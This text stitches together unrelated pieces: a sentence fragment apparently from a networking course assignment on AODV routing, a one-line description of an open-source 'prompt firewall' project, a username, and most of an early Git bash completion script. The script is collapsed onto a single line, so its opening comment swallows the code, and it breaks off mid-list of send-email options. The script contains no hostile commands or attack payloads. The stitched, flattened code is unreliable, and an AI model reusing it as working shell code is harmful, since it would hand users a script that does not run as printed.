out, but for which it has still not received RREPs; the situation is further complicated by the fact that not all intermediate nodes receiving and relaying RREQs necessarily lie on a path to the destination, and therefore should expect to receive RREPs), and, learning-wise, would not add much to the experience you should have gained from Assignment 2.
isartor-ai
Open-source Prompt Firewall — deflect up to 95% of redundant LLM traffic before it leaves your infrastructure. Documents: https://isartor-ai.github.io/Isartor/index.html
questionmark1122
#!bash # # bash completion support for core Git. # # Copyright (C) 2006,2007 Shawn O. Pearce <spearce@spearce.org> # Conceptually based on gitcompletion (http://gitweb.hawaga.org.uk/). # Distributed under the GNU General Public License, version 2.0. # # The contained completion routines provide support for completing: # # *) local and remote branch names # *) local and remote tag names # *) .git/remotes file names # *) git 'subcommands' # *) tree paths within 'ref:path/to/file' expressions # *) common --long-options # # To use these routines: # # 1) Copy this file to somewhere (e.g. ~/.git-completion.sh). # 2) Added the following line to your .bashrc: # source ~/.git-completion.sh # # 3) Consider changing your PS1 to also show the current branch: # PS1='[\u@\h \W$(__git_ps1 " (%s)")]\$ ' # # The argument to __git_ps1 will be displayed only if you # are currently in a git repository. The %s token will be # the name of the current branch. # # In addition, if you set GIT_PS1_SHOWDIRTYSTATE to a nonempty # value, unstaged (*) and staged (+) changes will be shown next # to the branch name. You can configure this per-repository # with the bash.showDirtyState variable, which defaults to true # once GIT_PS1_SHOWDIRTYSTATE is enabled. # # You can also see if currently something is stashed, by setting # GIT_PS1_SHOWSTASHSTATE to a nonempty value. If something is stashed, # then a '$' will be shown next to the branch name. # # If you would like to see if there're untracked files, then you can # set GIT_PS1_SHOWUNTRACKEDFILES to a nonempty value. If there're # untracked files, then a '%' will be shown next to the branch name. # # If you would like to see the difference between HEAD and its # upstream, set GIT_PS1_SHOWUPSTREAM="auto". A "<" indicates # you are behind, ">" indicates you are ahead, and "<>" # indicates you have diverged. You can further control # behaviour by setting GIT_PS1_SHOWUPSTREAM to a space-separated # list of values: # verbose show number of commits ahead/behind (+/-) upstream # legacy don't use the '--count' option available in recent # versions of git-rev-list # git always compare HEAD to @{upstream} # svn always compare HEAD to your SVN upstream # By default, __git_ps1 will compare HEAD to your SVN upstream # if it can find one, or @{upstream} otherwise. Once you have # set GIT_PS1_SHOWUPSTREAM, you can override it on a # per-repository basis by setting the bash.showUpstream config # variable. # # # To submit patches: # # *) Read Documentation/SubmittingPatches # *) Send all patches to the current maintainer: # # "Shawn O. Pearce" <spearce@spearce.org> # # *) Always CC the Git mailing list: # # git@vger.kernel.org # case "$COMP_WORDBREAKS" in *:*) : great ;; *) COMP_WORDBREAKS="$COMP_WORDBREAKS:" esac # __gitdir accepts 0 or 1 arguments (i.e., location) # returns location of .git repo __gitdir () { if [ -z "${1-}" ]; then if [ -n "${__git_dir-}" ]; then echo "$__git_dir" elif [ -d .git ]; then echo .git else git rev-parse --git-dir 2>/dev/null fi elif [ -d "$1/.git" ]; then echo "$1/.git" else echo "$1" fi } # stores the divergence from upstream in $p # used by GIT_PS1_SHOWUPSTREAM __git_ps1_show_upstream () { local key value local svn_remote=() svn_url_pattern count n local upstream=git legacy="" verbose="" # get some config options from git-config while read key value; do case "$key" in bash.showupstream) GIT_PS1_SHOWUPSTREAM="$value" if [[ -z "${GIT_PS1_SHOWUPSTREAM}" ]]; then p="" return fi ;; svn-remote.*.url) svn_remote[ $((${#svn_remote[@]} + 1)) ]="$value" svn_url_pattern+="\\|$value" upstream=svn+git # default upstream is SVN if available, else git ;; esac done < <(git config -z --get-regexp '^(svn-remote\..*\.url|bash\.showupstream)$' 2>/dev/null | tr '\0\n' '\n ') # parse configuration values for option in ${GIT_PS1_SHOWUPSTREAM}; do case "$option" in git|svn) upstream="$option" ;; verbose) verbose=1 ;; legacy) legacy=1 ;; esac done # Find our upstream case "$upstream" in git) upstream="@{upstream}" ;; svn*) # get the upstream from the "git-svn-id: ..." in a commit message # (git-svn uses essentially the same procedure internally) local svn_upstream=($(git log --first-parent -1 \ --grep="^git-svn-id: \(${svn_url_pattern:2}\)" 2>/dev/null)) if [[ 0 -ne ${#svn_upstream[@]} ]]; then svn_upstream=${svn_upstream[ ${#svn_upstream[@]} - 2 ]} svn_upstream=${svn_upstream%@*} for ((n=1; "$n" <= "${#svn_remote[@]}"; ++n)); do svn_upstream=${svn_upstream#${svn_remote[$n]}} done if [[ -z "$svn_upstream" ]]; then # default branch name for checkouts with no layout: upstream=${GIT_SVN_ID:-git-svn} else upstream=${svn_upstream#/} fi elif [[ "svn+git" = "$upstream" ]]; then upstream="@{upstream}" fi ;; esac # Find how many commits we are ahead/behind our upstream if [[ -z "$legacy" ]]; then count="$(git rev-list --count --left-right \ "$upstream"...HEAD 2>/dev/null)" else # produce equivalent output to --count for older versions of git local commits if commits="$(git rev-list --left-right "$upstream"...HEAD 2>/dev/null)" then local commit behind=0 ahead=0 for commit in $commits do case "$commit" in "<"*) let ++behind ;; *) let ++ahead ;; esac done count="$behind $ahead" else count="" fi fi # calculate the result if [[ -z "$verbose" ]]; then case "$count" in "") # no upstream p="" ;; "0 0") # equal to upstream p="=" ;; "0 "*) # ahead of upstream p=">" ;; *" 0") # behind upstream p="<" ;; *) # diverged from upstream p="<>" ;; esac else case "$count" in "") # no upstream p="" ;; "0 0") # equal to upstream p=" u=" ;; "0 "*) # ahead of upstream p=" u+${count#0 }" ;; *" 0") # behind upstream p=" u-${count% 0}" ;; *) # diverged from upstream p=" u+${count#* }-${count% *}" ;; esac fi } # __git_ps1 accepts 0 or 1 arguments (i.e., format string) # returns text to add to bash PS1 prompt (includes branch name) __git_ps1 () { local g="$(__gitdir)" if [ -n "$g" ]; then local r="" local b="" if [ -f "$g/rebase-merge/interactive" ]; then r="|REBASE-i" b="$(cat "$g/rebase-merge/head-name")" elif [ -d "$g/rebase-merge" ]; then r="|REBASE-m" b="$(cat "$g/rebase-merge/head-name")" else if [ -d "$g/rebase-apply" ]; then if [ -f "$g/rebase-apply/rebasing" ]; then r="|REBASE" elif [ -f "$g/rebase-apply/applying" ]; then r="|AM" else r="|AM/REBASE" fi elif [ -f "$g/MERGE_HEAD" ]; then r="|MERGING" elif [ -f "$g/BISECT_LOG" ]; then r="|BISECTING" fi b="$(git symbolic-ref HEAD 2>/dev/null)" || { b="$( case "${GIT_PS1_DESCRIBE_STYLE-}" in (contains) git describe --contains HEAD ;; (branch) git describe --contains --all HEAD ;; (describe) git describe HEAD ;; (* | default) git describe --exact-match HEAD ;; esac 2>/dev/null)" || b="$(cut -c1-7 "$g/HEAD" 2>/dev/null)..." || b="unknown" b="($b)" } fi local w="" local i="" local s="" local u="" local c="" local p="" if [ "true" = "$(git rev-parse --is-inside-git-dir 2>/dev/null)" ]; then if [ "true" = "$(git rev-parse --is-bare-repository 2>/dev/null)" ]; then c="BARE:" else b="GIT_DIR!" fi elif [ "true" = "$(git rev-parse --is-inside-work-tree 2>/dev/null)" ]; then if [ -n "${GIT_PS1_SHOWDIRTYSTATE-}" ]; then if [ "$(git config --bool bash.showDirtyState)" != "false" ]; then git diff --no-ext-diff --quiet --exit-code || w="*" if git rev-parse --quiet --verify HEAD >/dev/null; then git diff-index --cached --quiet HEAD -- || i="+" else i="#" fi fi fi if [ -n "${GIT_PS1_SHOWSTASHSTATE-}" ]; then git rev-parse --verify refs/stash >/dev/null 2>&1 && s="$" fi if [ -n "${GIT_PS1_SHOWUNTRACKEDFILES-}" ]; then if [ -n "$(git ls-files --others --exclude-standard)" ]; then u="%" fi fi if [ -n "${GIT_PS1_SHOWUPSTREAM-}" ]; then __git_ps1_show_upstream fi fi local f="$w$i$s$u" printf "${1:- (%s)}" "$c${b##refs/heads/}${f:+ $f}$r$p" fi } # __gitcomp_1 requires 2 arguments __gitcomp_1 () { local c IFS=' '$'\t'$'\n' for c in $1; do case "$c$2" in --*=*) printf %s$'\n' "$c$2" ;; *.) printf %s$'\n' "$c$2" ;; *) printf %s$'\n' "$c$2 " ;; esac done } # __gitcomp accepts 1, 2, 3, or 4 arguments # generates completion reply with compgen __gitcomp () { local cur="${COMP_WORDS[COMP_CWORD]}" if [ $# -gt 2 ]; then cur="$3" fi case "$cur" in --*=) COMPREPLY=() ;; *) local IFS=$'\n' COMPREPLY=($(compgen -P "${2-}" \ -W "$(__gitcomp_1 "${1-}" "${4-}")" \ -- "$cur")) ;; esac } # __git_heads accepts 0 or 1 arguments (to pass to __gitdir) __git_heads () { local cmd i is_hash=y dir="$(__gitdir "${1-}")" if [ -d "$dir" ]; then git --git-dir="$dir" for-each-ref --format='%(refname:short)' \ refs/heads return fi for i in $(git ls-remote "${1-}" 2>/dev/null); do case "$is_hash,$i" in y,*) is_hash=n ;; n,*^{}) is_hash=y ;; n,refs/heads/*) is_hash=y; echo "${i#refs/heads/}" ;; n,*) is_hash=y; echo "$i" ;; esac done } # __git_tags accepts 0 or 1 arguments (to pass to __gitdir) __git_tags () { local cmd i is_hash=y dir="$(__gitdir "${1-}")" if [ -d "$dir" ]; then git --git-dir="$dir" for-each-ref --format='%(refname:short)' \ refs/tags return fi for i in $(git ls-remote "${1-}" 2>/dev/null); do case "$is_hash,$i" in y,*) is_hash=n ;; n,*^{}) is_hash=y ;; n,refs/tags/*) is_hash=y; echo "${i#refs/tags/}" ;; n,*) is_hash=y; echo "$i" ;; esac done } # __git_refs accepts 0 or 1 arguments (to pass to __gitdir) __git_refs () { local i is_hash=y dir="$(__gitdir "${1-}")" local cur="${COMP_WORDS[COMP_CWORD]}" format refs if [ -d "$dir" ]; then case "$cur" in refs|refs/*) format="refname" refs="${cur%/*}" ;; *) for i in HEAD FETCH_HEAD ORIG_HEAD MERGE_HEAD; do if [ -e "$dir/$i" ]; then echo $i; fi done format="refname:short" refs="refs/tags refs/heads refs/remotes" ;; esac git --git-dir="$dir" for-each-ref --format="%($format)" \ $refs return fi for i in $(git ls-remote "$dir" 2>/dev/null); do case "$is_hash,$i" in y,*) is_hash=n ;; n,*^{}) is_hash=y ;; n,refs/tags/*) is_hash=y; echo "${i#refs/tags/}" ;; n,refs/heads/*) is_hash=y; echo "${i#refs/heads/}" ;; n,refs/remotes/*) is_hash=y; echo "${i#refs/remotes/}" ;; n,*) is_hash=y; echo "$i" ;; esac done } # __git_refs2 requires 1 argument (to pass to __git_refs) __git_refs2 () { local i for i in $(__git_refs "$1"); do echo "$i:$i" done } # __git_refs_remotes requires 1 argument (to pass to ls-remote) __git_refs_remotes () { local cmd i is_hash=y for i in $(git ls-remote "$1" 2>/dev/null); do case "$is_hash,$i" in n,refs/heads/*) is_hash=y echo "$i:refs/remotes/$1/${i#refs/heads/}" ;; y,*) is_hash=n ;; n,*^{}) is_hash=y ;; n,refs/tags/*) is_hash=y;; n,*) is_hash=y; ;; esac done } __git_remotes () { local i ngoff IFS=$'\n' d="$(__gitdir)" shopt -q nullglob || ngoff=1 shopt -s nullglob for i in "$d/remotes"/*; do echo ${i#$d/remotes/} done [ "$ngoff" ] && shopt -u nullglob for i in $(git --git-dir="$d" config --get-regexp 'remote\..*\.url' 2>/dev/null); do i="${i#remote.}" echo "${i/.url*/}" done } __git_list_merge_strategies () { git merge -s help 2>&1 | sed -n -e '/[Aa]vailable strategies are: /,/^$/{ s/\.$// s/.*:// s/^[ ]*// s/[ ]*$// p }' } __git_merge_strategies= # 'git merge -s help' (and thus detection of the merge strategy # list) fails, unfortunately, if run outside of any git working # tree. __git_merge_strategies is set to the empty string in # that case, and the detection will be repeated the next time it # is needed. __git_compute_merge_strategies () { : ${__git_merge_strategies:=$(__git_list_merge_strategies)} } __git_complete_file () { local pfx ls ref cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in ?*:*) ref="${cur%%:*}" cur="${cur#*:}" case "$cur" in ?*/*) pfx="${cur%/*}" cur="${cur##*/}" ls="$ref:$pfx" pfx="$pfx/" ;; *) ls="$ref" ;; esac case "$COMP_WORDBREAKS" in *:*) : great ;; *) pfx="$ref:$pfx" ;; esac local IFS=$'\n' COMPREPLY=($(compgen -P "$pfx" \ -W "$(git --git-dir="$(__gitdir)" ls-tree "$ls" \ | sed '/^100... blob /{ s,^.* ,, s,$, , } /^120000 blob /{ s,^.* ,, s,$, , } /^040000 tree /{ s,^.* ,, s,$,/, } s/^.* //')" \ -- "$cur")) ;; *) __gitcomp "$(__git_refs)" ;; esac } __git_complete_revlist () { local pfx cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in *...*) pfx="${cur%...*}..." cur="${cur#*...}" __gitcomp "$(__git_refs)" "$pfx" "$cur" ;; *..*) pfx="${cur%..*}.." cur="${cur#*..}" __gitcomp "$(__git_refs)" "$pfx" "$cur" ;; *) __gitcomp "$(__git_refs)" ;; esac } __git_complete_remote_or_refspec () { local cmd="${COMP_WORDS[1]}" local cur="${COMP_WORDS[COMP_CWORD]}" local i c=2 remote="" pfx="" lhs=1 no_complete_refspec=0 while [ $c -lt $COMP_CWORD ]; do i="${COMP_WORDS[c]}" case "$i" in --mirror) [ "$cmd" = "push" ] && no_complete_refspec=1 ;; --all) case "$cmd" in push) no_complete_refspec=1 ;; fetch) COMPREPLY=() return ;; *) ;; esac ;; -*) ;; *) remote="$i"; break ;; esac c=$((++c)) done if [ -z "$remote" ]; then __gitcomp "$(__git_remotes)" return fi if [ $no_complete_refspec = 1 ]; then COMPREPLY=() return fi [ "$remote" = "." ] && remote= case "$cur" in *:*) case "$COMP_WORDBREAKS" in *:*) : great ;; *) pfx="${cur%%:*}:" ;; esac cur="${cur#*:}" lhs=0 ;; +*) pfx="+" cur="${cur#+}" ;; esac case "$cmd" in fetch) if [ $lhs = 1 ]; then __gitcomp "$(__git_refs2 "$remote")" "$pfx" "$cur" else __gitcomp "$(__git_refs)" "$pfx" "$cur" fi ;; pull) if [ $lhs = 1 ]; then __gitcomp "$(__git_refs "$remote")" "$pfx" "$cur" else __gitcomp "$(__git_refs)" "$pfx" "$cur" fi ;; push) if [ $lhs = 1 ]; then __gitcomp "$(__git_refs)" "$pfx" "$cur" else __gitcomp "$(__git_refs "$remote")" "$pfx" "$cur" fi ;; esac } __git_complete_strategy () { __git_compute_merge_strategies case "${COMP_WORDS[COMP_CWORD-1]}" in -s|--strategy) __gitcomp "$__git_merge_strategies" return 0 esac local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --strategy=*) __gitcomp "$__git_merge_strategies" "" "${cur##--strategy=}" return 0 ;; esac return 1 } __git_list_all_commands () { local i IFS=" "$'\n' for i in $(git help -a|egrep '^ [a-zA-Z0-9]') do case $i in *--*) : helper pattern;; *) echo $i;; esac done } __git_all_commands= __git_compute_all_commands () { : ${__git_all_commands:=$(__git_list_all_commands)} } __git_list_porcelain_commands () { local i IFS=" "$'\n' __git_compute_all_commands for i in "help" $__git_all_commands do case $i in *--*) : helper pattern;; applymbox) : ask gittus;; applypatch) : ask gittus;; archimport) : import;; cat-file) : plumbing;; check-attr) : plumbing;; check-ref-format) : plumbing;; checkout-index) : plumbing;; commit-tree) : plumbing;; count-objects) : infrequent;; cvsexportcommit) : export;; cvsimport) : import;; cvsserver) : daemon;; daemon) : daemon;; diff-files) : plumbing;; diff-index) : plumbing;; diff-tree) : plumbing;; fast-import) : import;; fast-export) : export;; fsck-objects) : plumbing;; fetch-pack) : plumbing;; fmt-merge-msg) : plumbing;; for-each-ref) : plumbing;; hash-object) : plumbing;; http-*) : transport;; index-pack) : plumbing;; init-db) : deprecated;; local-fetch) : plumbing;; lost-found) : infrequent;; ls-files) : plumbing;; ls-remote) : plumbing;; ls-tree) : plumbing;; mailinfo) : plumbing;; mailsplit) : plumbing;; merge-*) : plumbing;; mktree) : plumbing;; mktag) : plumbing;; pack-objects) : plumbing;; pack-redundant) : plumbing;; pack-refs) : plumbing;; parse-remote) : plumbing;; patch-id) : plumbing;; peek-remote) : plumbing;; prune) : plumbing;; prune-packed) : plumbing;; quiltimport) : import;; read-tree) : plumbing;; receive-pack) : plumbing;; reflog) : plumbing;; remote-*) : transport;; repo-config) : deprecated;; rerere) : plumbing;; rev-list) : plumbing;; rev-parse) : plumbing;; runstatus) : plumbing;; sh-setup) : internal;; shell) : daemon;; show-ref) : plumbing;; send-pack) : plumbing;; show-index) : plumbing;; ssh-*) : transport;; stripspace) : plumbing;; symbolic-ref) : plumbing;; tar-tree) : deprecated;; unpack-file) : plumbing;; unpack-objects) : plumbing;; update-index) : plumbing;; update-ref) : plumbing;; update-server-info) : daemon;; upload-archive) : plumbing;; upload-pack) : plumbing;; write-tree) : plumbing;; var) : infrequent;; verify-pack) : infrequent;; verify-tag) : plumbing;; *) echo $i;; esac done } __git_porcelain_commands= __git_compute_porcelain_commands () { __git_compute_all_commands : ${__git_porcelain_commands:=$(__git_list_porcelain_commands)} } __git_aliases () { local i IFS=$'\n' for i in $(git --git-dir="$(__gitdir)" config --get-regexp "alias\..*" 2>/dev/null); do case "$i" in alias.*) i="${i#alias.}" echo "${i/ */}" ;; esac done } # __git_aliased_command requires 1 argument __git_aliased_command () { local word cmdline=$(git --git-dir="$(__gitdir)" \ config --get "alias.$1") for word in $cmdline; do case "$word" in \!gitk|gitk) echo "gitk" return ;; \!*) : shell command alias ;; -*) : option ;; *=*) : setting env ;; git) : git itself ;; *) echo "$word" return esac done } # __git_find_on_cmdline requires 1 argument __git_find_on_cmdline () { local word subcommand c=1 while [ $c -lt $COMP_CWORD ]; do word="${COMP_WORDS[c]}" for subcommand in $1; do if [ "$subcommand" = "$word" ]; then echo "$subcommand" return fi done c=$((++c)) done } __git_has_doubledash () { local c=1 while [ $c -lt $COMP_CWORD ]; do if [ "--" = "${COMP_WORDS[c]}" ]; then return 0 fi c=$((++c)) done return 1 } __git_whitespacelist="nowarn warn error error-all fix" _git_am () { local cur="${COMP_WORDS[COMP_CWORD]}" dir="$(__gitdir)" if [ -d "$dir"/rebase-apply ]; then __gitcomp "--skip --continue --resolved --abort" return fi case "$cur" in --whitespace=*) __gitcomp "$__git_whitespacelist" "" "${cur##--whitespace=}" return ;; --*) __gitcomp " --3way --committer-date-is-author-date --ignore-date --ignore-whitespace --ignore-space-change --interactive --keep --no-utf8 --signoff --utf8 --whitespace= --scissors " return esac COMPREPLY=() } _git_apply () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --whitespace=*) __gitcomp "$__git_whitespacelist" "" "${cur##--whitespace=}" return ;; --*) __gitcomp " --stat --numstat --summary --check --index --cached --index-info --reverse --reject --unidiff-zero --apply --no-add --exclude= --ignore-whitespace --ignore-space-change --whitespace= --inaccurate-eof --verbose " return esac COMPREPLY=() } _git_add () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --interactive --refresh --patch --update --dry-run --ignore-errors --intent-to-add " return esac COMPREPLY=() } _git_archive () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --format=*) __gitcomp "$(git archive --list)" "" "${cur##--format=}" return ;; --remote=*) __gitcomp "$(__git_remotes)" "" "${cur##--remote=}" return ;; --*) __gitcomp " --format= --list --verbose --prefix= --remote= --exec= " return ;; esac __git_complete_file } _git_bisect () { __git_has_doubledash && return local subcommands="start bad good skip reset visualize replay log run" local subcommand="$(__git_find_on_cmdline "$subcommands")" if [ -z "$subcommand" ]; then __gitcomp "$subcommands" return fi case "$subcommand" in bad|good|reset|skip) __gitcomp "$(__git_refs)" ;; *) COMPREPLY=() ;; esac } _git_branch () { local i c=1 only_local_ref="n" has_r="n" while [ $c -lt $COMP_CWORD ]; do i="${COMP_WORDS[c]}" case "$i" in -d|-m) only_local_ref="y" ;; -r) has_r="y" ;; esac c=$((++c)) done case "${COMP_WORDS[COMP_CWORD]}" in --*) __gitcomp " --color --no-color --verbose --abbrev= --no-abbrev --track --no-track --contains --merged --no-merged --set-upstream " ;; *) if [ $only_local_ref = "y" -a $has_r = "n" ]; then __gitcomp "$(__git_heads)" else __gitcomp "$(__git_refs)" fi ;; esac } _git_bundle () { local cmd="${COMP_WORDS[2]}" case "$COMP_CWORD" in 2) __gitcomp "create list-heads verify unbundle" ;; 3) # looking for a file ;; *) case "$cmd" in create) __git_complete_revlist ;; esac ;; esac } _git_checkout () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --conflict=*) __gitcomp "diff3 merge" "" "${cur##--conflict=}" ;; --*) __gitcomp " --quiet --ours --theirs --track --no-track --merge --conflict= --orphan --patch " ;; *) __gitcomp "$(__git_refs)" ;; esac } _git_cherry () { __gitcomp "$(__git_refs)" } _git_cherry_pick () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--edit --no-commit" ;; *) __gitcomp "$(__git_refs)" ;; esac } _git_clean () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--dry-run --quiet" return ;; esac COMPREPLY=() } _git_clone () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --local --no-hardlinks --shared --reference --quiet --no-checkout --bare --mirror --origin --upload-pack --template= --depth " return ;; esac COMPREPLY=() } _git_commit () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --cleanup=*) __gitcomp "default strip verbatim whitespace " "" "${cur##--cleanup=}" return ;; --reuse-message=*) __gitcomp "$(__git_refs)" "" "${cur##--reuse-message=}" return ;; --reedit-message=*) __gitcomp "$(__git_refs)" "" "${cur##--reedit-message=}" return ;; --untracked-files=*) __gitcomp "all no normal" "" "${cur##--untracked-files=}" return ;; --*) __gitcomp " --all --author= --signoff --verify --no-verify --edit --amend --include --only --interactive --dry-run --reuse-message= --reedit-message= --reset-author --file= --message= --template= --cleanup= --untracked-files --untracked-files= --verbose --quiet " return esac COMPREPLY=() } _git_describe () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --all --tags --contains --abbrev= --candidates= --exact-match --debug --long --match --always " return esac __gitcomp "$(__git_refs)" } __git_diff_common_options="--stat --numstat --shortstat --summary --patch-with-stat --name-only --name-status --color --no-color --color-words --no-renames --check --full-index --binary --abbrev --diff-filter= --find-copies-harder --text --ignore-space-at-eol --ignore-space-change --ignore-all-space --exit-code --quiet --ext-diff --no-ext-diff --no-prefix --src-prefix= --dst-prefix= --inter-hunk-context= --patience --raw --dirstat --dirstat= --dirstat-by-file --dirstat-by-file= --cumulative " _git_diff () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--cached --staged --pickaxe-all --pickaxe-regex --base --ours --theirs $__git_diff_common_options " return ;; esac __git_complete_file } __git_mergetools_common="diffuse ecmerge emerge kdiff3 meld opendiff tkdiff vimdiff gvimdiff xxdiff araxis p4merge " _git_difftool () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --tool=*) __gitcomp "$__git_mergetools_common kompare" "" "${cur##--tool=}" return ;; --*) __gitcomp "--cached --staged --pickaxe-all --pickaxe-regex --base --ours --theirs --no-renames --diff-filter= --find-copies-harder --relative --ignore-submodules --tool=" return ;; esac __git_complete_file } __git_fetch_options=" --quiet --verbose --append --upload-pack --force --keep --depth= --tags --no-tags --all --prune --dry-run " _git_fetch () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "$__git_fetch_options" return ;; esac __git_complete_remote_or_refspec } _git_format_patch () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --thread=*) __gitcomp " deep shallow " "" "${cur##--thread=}" return ;; --*) __gitcomp " --stdout --attach --no-attach --thread --thread= --output-directory --numbered --start-number --numbered-files --keep-subject --signoff --signature --no-signature --in-reply-to= --cc= --full-index --binary --not --all --cover-letter --no-prefix --src-prefix= --dst-prefix= --inline --suffix= --ignore-if-in-upstream --subject-prefix= " return ;; esac __git_complete_revlist } _git_fsck () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --tags --root --unreachable --cache --no-reflogs --full --strict --verbose --lost-found " return ;; esac COMPREPLY=() } _git_gc () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--prune --aggressive" return ;; esac COMPREPLY=() } _git_gitk () { _gitk } _git_grep () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --cached --text --ignore-case --word-regexp --invert-match --full-name --extended-regexp --basic-regexp --fixed-strings --files-with-matches --name-only --files-without-match --max-depth --count --and --or --not --all-match " return ;; esac __gitcomp "$(__git_refs)" } _git_help () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--all --info --man --web" return ;; esac __git_compute_all_commands __gitcomp "$__git_all_commands attributes cli core-tutorial cvs-migration diffcore gitk glossary hooks ignore modules repository-layout tutorial tutorial-2 workflows " } _git_init () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --shared=*) __gitcomp " false true umask group all world everybody " "" "${cur##--shared=}" return ;; --*) __gitcomp "--quiet --bare --template= --shared --shared=" return ;; esac COMPREPLY=() } _git_ls_files () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--cached --deleted --modified --others --ignored --stage --directory --no-empty-directory --unmerged --killed --exclude= --exclude-from= --exclude-per-directory= --exclude-standard --error-unmatch --with-tree= --full-name --abbrev --ignored --exclude-per-directory " return ;; esac COMPREPLY=() } _git_ls_remote () { __gitcomp "$(__git_remotes)" } _git_ls_tree () { __git_complete_file } # Options that go well for log, shortlog and gitk __git_log_common_options=" --not --all --branches --tags --remotes --first-parent --merges --no-merges --max-count= --max-age= --since= --after= --min-age= --until= --before= " # Options that go well for log and gitk (not shortlog) __git_log_gitk_options=" --dense --sparse --full-history --simplify-merges --simplify-by-decoration --left-right " # Options that go well for log and shortlog (not gitk) __git_log_shortlog_options=" --author= --committer= --grep= --all-match " __git_log_pretty_formats="oneline short medium full fuller email raw format:" __git_log_date_formats="relative iso8601 rfc2822 short local default raw" _git_log () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" local g="$(git rev-parse --git-dir 2>/dev/null)" local merge="" if [ -f "$g/MERGE_HEAD" ]; then merge="--merge" fi case "$cur" in --pretty=*) __gitcomp "$__git_log_pretty_formats " "" "${cur##--pretty=}" return ;; --format=*) __gitcomp "$__git_log_pretty_formats " "" "${cur##--format=}" return ;; --date=*) __gitcomp "$__git_log_date_formats" "" "${cur##--date=}" return ;; --decorate=*) __gitcomp "long short" "" "${cur##--decorate=}" return ;; --*) __gitcomp " $__git_log_common_options $__git_log_shortlog_options $__git_log_gitk_options --root --topo-order --date-order --reverse --follow --full-diff --abbrev-commit --abbrev= --relative-date --date= --pretty= --format= --oneline --cherry-pick --graph --decorate --decorate= --walk-reflogs --parents --children $merge $__git_diff_common_options --pickaxe-all --pickaxe-regex " return ;; esac __git_complete_revlist } __git_merge_options=" --no-commit --no-stat --log --no-log --squash --strategy --commit --stat --no-squash --ff --no-ff --ff-only " _git_merge () { __git_complete_strategy && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "$__git_merge_options" return esac __gitcomp "$(__git_refs)" } _git_mergetool () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --tool=*) __gitcomp "$__git_mergetools_common tortoisemerge" "" "${cur##--tool=}" return ;; --*) __gitcomp "--tool=" return ;; esac COMPREPLY=() } _git_merge_base () { __gitcomp "$(__git_refs)" } _git_mv () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--dry-run" return ;; esac COMPREPLY=() } _git_name_rev () { __gitcomp "--tags --all --stdin" } _git_notes () { local subcommands="edit show" if [ -z "$(__git_find_on_cmdline "$subcommands")" ]; then __gitcomp "$subcommands" return fi case "${COMP_WORDS[COMP_CWORD-1]}" in -m|-F) COMPREPLY=() ;; *) __gitcomp "$(__git_refs)" ;; esac } _git_pull () { __git_complete_strategy && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --rebase --no-rebase $__git_merge_options $__git_fetch_options " return ;; esac __git_complete_remote_or_refspec } _git_push () { local cur="${COMP_WORDS[COMP_CWORD]}" case "${COMP_WORDS[COMP_CWORD-1]}" in --repo) __gitcomp "$(__git_remotes)" return esac case "$cur" in --repo=*) __gitcomp "$(__git_remotes)" "" "${cur##--repo=}" return ;; --*) __gitcomp " --all --mirror --tags --dry-run --force --verbose --receive-pack= --repo= " return ;; esac __git_complete_remote_or_refspec } _git_rebase () { local cur="${COMP_WORDS[COMP_CWORD]}" dir="$(__gitdir)" if [ -d "$dir"/rebase-apply ] || [ -d "$dir"/rebase-merge ]; then __gitcomp "--continue --skip --abort" return fi __git_complete_strategy && return case "$cur" in --whitespace=*) __gitcomp "$__git_whitespacelist" "" "${cur##--whitespace=}" return ;; --*) __gitcomp " --onto --merge --strategy --interactive --preserve-merges --stat --no-stat --committer-date-is-author-date --ignore-date --ignore-whitespace --whitespace= --autosquash " return esac __gitcomp "$(__git_refs)" } __git_send_email_confirm_options="always never auto cc compose" __git_send_email_suppresscc_options="author self cc bodycc sob cccmd body all" _git_send_email () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --confirm=*) __gitcomp " $__git_send_email_confirm_options " "" "${cur##--confirm=}" return ;; --suppress-cc=*) __gitcomp " $__git_send_email_suppresscc_options " "" "${cur##--suppress-cc=}" return ;; --smtp-encryption=*) __gitcomp "ssl tls" "" "${cur##--smtp-encryption=}" return ;; --*) __gitcomp "--annotate --bcc --cc --cc-cmd --chain-reply-to --compose --confirm= --dry-run --envelope-sender --from --identity --in-reply-to --no-chain-reply-to --no-signed-off-by-cc --no-suppress-from --no-thread --quiet --signed-off-by-cc --smtp-pass --smtp-server --smtp-server-port --smtp-encryption= 